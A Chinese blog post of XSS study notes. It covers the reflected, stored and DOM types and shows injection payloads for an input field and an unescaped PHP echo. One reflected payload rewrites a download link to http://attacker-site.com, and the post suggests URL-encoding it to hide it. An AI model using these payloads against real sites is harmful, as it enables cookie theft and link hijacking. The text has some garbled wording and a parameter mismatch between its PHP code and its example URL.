所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的。一般都是获取用户的Cookie(能够还原账户登录状态),导航到恶意网址,携带木马,作为肉鸡发起CC攻击。传播XSS蠕虫等。

整体分为三类:

Dom-Based(Dom式)

Stroed-Based(存储式)

Reflex-Based(反射式)

简单举一个场景:

在一个页面有一个textbox 代码就是<input type="text" name="address1" value="value1from"> 

这里的valuefrom 就是来自用户的输入。假设用户输入的不是valuefrom 的字符串,而是其它的代码就可能出现用户输入的数据被运行,如输入:"/><script>alert(document.cookie);</script><!--那样输入字符床被拼接的之后就是:

<input type="text" name="address1" value=""/><script>alert(document.cookie);</script><!--">

这样就是显示一个含实用户cookie的提示框,假设输入再改改:

" onfocus="alert(document.cookie); 那就变成了:

<input type="text" name="address1" value="" onfocus="alert(document.cookie); "> 

这样在onfocus事件触发后,js 代码就会被运行,当然攻击者肯定不会傻的把提示框弹出来。这里仅仅是证明能够获取到数据。hk的一般做法就是把想要的数据发到自己的另外一个站上他们的做法通常是:

在目标网页嵌入一段遮掩给的代码(一般都是在比較隐蔽的位置,或者直接就是在结尾):



1.点击劫持(hjick click)-一种非持久性攻击方法(反射型XSS):

原来server页面是

<?php
$name = $_GET['name']; /* 在GET 參数中获取username */
echo "Welcome $name <br>"; /* 这里网页中打印变量 */
echo "<a href="http://blog.csdn.net/l_f0rM4t3d"> Click to Download</a>"; /* 显示可重定向的链接 */
? >

假设用户在URL输入:

index.php?id=ByteWay<script>alert('attacked');</script>

这样在用户链接就会生成这样html代码:

Welcome ByteWay <script>alert('attacked');</script>
<br>
<a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>

看到上面的代码大哥你就惊呆了吧: 这里会弹出 attacked 的提示框,可是你会发现这还不是点击劫持啊? 呵呵,不要着急,仅仅要你明确了这个道理,相信你就是猥琐的想到直接在那里加段js 直接改动掉那个超链接就Ok了,以下是详细的办法:

假设用户在URL输入:index.php?id=ByteWay<script>window.onload=function(){var link=document.getElementsByTagName('a');link[0].href='http://attacker-site.com';}</script>



返回到用户的界面就是这种:

Welcome ByteWay
<script>
window.onload=function(){var link=document.getElementsByTagName('a');
link[0].href='http://attacker-site.com';
}
</script>
<br>
<a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>

可是由于非常快就会运行window.load的方法。这样后面的劫持的URL就发生了:

Welcome ByteWay
<script>
window.onload=function(){var link=document.getElementsByTagName('a');
link[0].href='http://attacker-site.com';
}
</script>
<br>
<a href='http://attacker-site.com'> Click to Download</a> <!-- 注意这是被劫持之后的URL -->

当然这里的看得URL太过明显了,咋办? 只要加上urlencode()之类的功能将起到模糊视听的作用。

版权声明:本文博客原创文章,博客,未经同意,不得转载。

XSS学习笔记(一个)-点击劫持的更多相关文章

  1. 点击劫持漏洞之理解 python打造一个挖掘点击劫持漏洞的脚本

    前言: 放假了,上个星期刚刚学习完点击劫持漏洞.没来的及写笔记,今天放学总结了一下 并写了一个检测点击劫持的脚本.点击劫持脚本说一下哈.= =原本是打算把网站源码 中的js也爬出来将一些防御的代码匹配 ...

  2. 安全测试4_客户端的安全漏洞(XSS、CSRF、点击劫持、URL跳转)

    那个fanh前面学习的都是基础,现在开始正式学习下安全的知识,这一章主要讲解客户端常见的安全漏洞. 看到这个不错,给大家记一下: 1.常见的安全事件: 2.XSS(跨站脚本),英文全称:Cross S ...

  3. XSS学习笔记(四)-漏洞利用全过程

    <script type="text/javascript" reload="1">setTimeout("window.location ...

  4. jQuery 学习笔记2 点击时弹出一个对话框

    上次学习的是页面加载完成后弹出一个警告框,这里我们改为当用户点击后弹出一个警告框. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Trans ...

  5. jQuery 学习笔记3 点击弹出一个div并允许拖拽移动

    这里我看了下http://qings.blog.51cto.com/4857138/998878/ 的文章,感谢他的分享. 首先我们有一个a标签和一个div,div默认是不显示的,当用户点击时改为显示 ...

  6. XSS学习笔记

    本片文章是读<<XSS跨站脚本gj剖析与防御>>一书的总结 常见的XSS攻击主要用于1.网络钓鱼,盗用用户账号2.窃取cookies 非httponly情况下,读取docume ...

  7. XSS学习笔记(五)-XSS防御

    如果只生产XSS的地方都与输入或输出相关联的.所以错过了主要矛盾.而且,我们将有一个解决问题的办法:您可以输入端砚格过滤,是可能的过滤输出时间,输出到用户的GET或POST中是否有敏感字符: 输入过滤 ...

  8. Git学习笔记——一个NB的分布式版本控制系统

    1. 命令: git init           创建新仓库 (在一个空文件下然后执行命令) git clone  + 路径      检出仓库,从本地或从服务器上 git status     查 ...

  9. 【转载】XSS学习笔记

    XSS的分类 非持久型 非持久型XSS也称反射型XSS.具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果.那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻 ...

随机推荐

  1. lastIndexOf方法——获取字符最后的索引

    1.2.20 lastIndexOf方法——获取字符最后的索引 2013-08-29 14:55:18     我来说两句 收藏    我要投稿   本文所属图书 > Java程序开发参考手册 ...

  2. Node-Webkit作者王文睿:桌面应用的全新开发方式

    摘要:最近两年,Node.js技术越来越火,基于它所开发的应用也纷纷出现在大家面前,其中Node-Webkit就是这样的一个开源框架,它允许开发者使用Web技术开发桌面应用. Node-Webkit是 ...

  3. [Win]进程间通信——邮槽Mailslot

    进程间通信 进程的地址空间是私有的.出于安全性的目的,如果一个进程不具有特殊的权限,是无法访问另外一个进程的内存空间的,也无法知道内存中保存的数据的意义.但是在一些具体的应用情况下需要多个进行相互配合 ...

  4. C++ 对象的内存布局(上)

    C++ 对象的内存布局(上) 陈皓 http://blog.csdn.net/haoel 点击这里查看下篇>>> 前言 07年12月,我写了一篇<C++虚函数表解析>的文 ...

  5. Redis intset

    Redis intset也非常简单.它是一个有序整数集合,实际上是一个有序数组,查找时二分查找,添加时可能需要内存挪动.唯一不同的是,它的整数类型是变动的,可以支持int16,int32,int64三 ...

  6. Python Errors and Exceptions

    1. python中的try{}catch{} 2. raise exception 3. try...except ... else.. 4. finally块 python中的异常处理的keywo ...

  7. android binder机制之——(创建binder服务)

      Binder机制编程 前面的几篇文章具体介绍了android中binder机制的方方面面,相信你对binder机制已经有了较深刻的理解.俗话说得好"学以致用",以下我们就通过在 ...

  8. javascript (二) 事件

    <script></script> 函数写法: function  fun_name(){ x=docment.getElementById("demo") ...

  9. XML和对象属性互转的基类

    本人做了一个XML和对象属性互转的基类,现在放上来有兴趣拿去看一下,用法很简单,声明一个BaseConversion的子类,该子类与你想转换的对象相对应,然后覆盖基类的两个虚方法,然后在里面写元素与对 ...

  10. datarow用linq查询

    List<string> f_guids = (from DataRow dr in dt2.Rows select dr["f_GUID"].ToString()). ...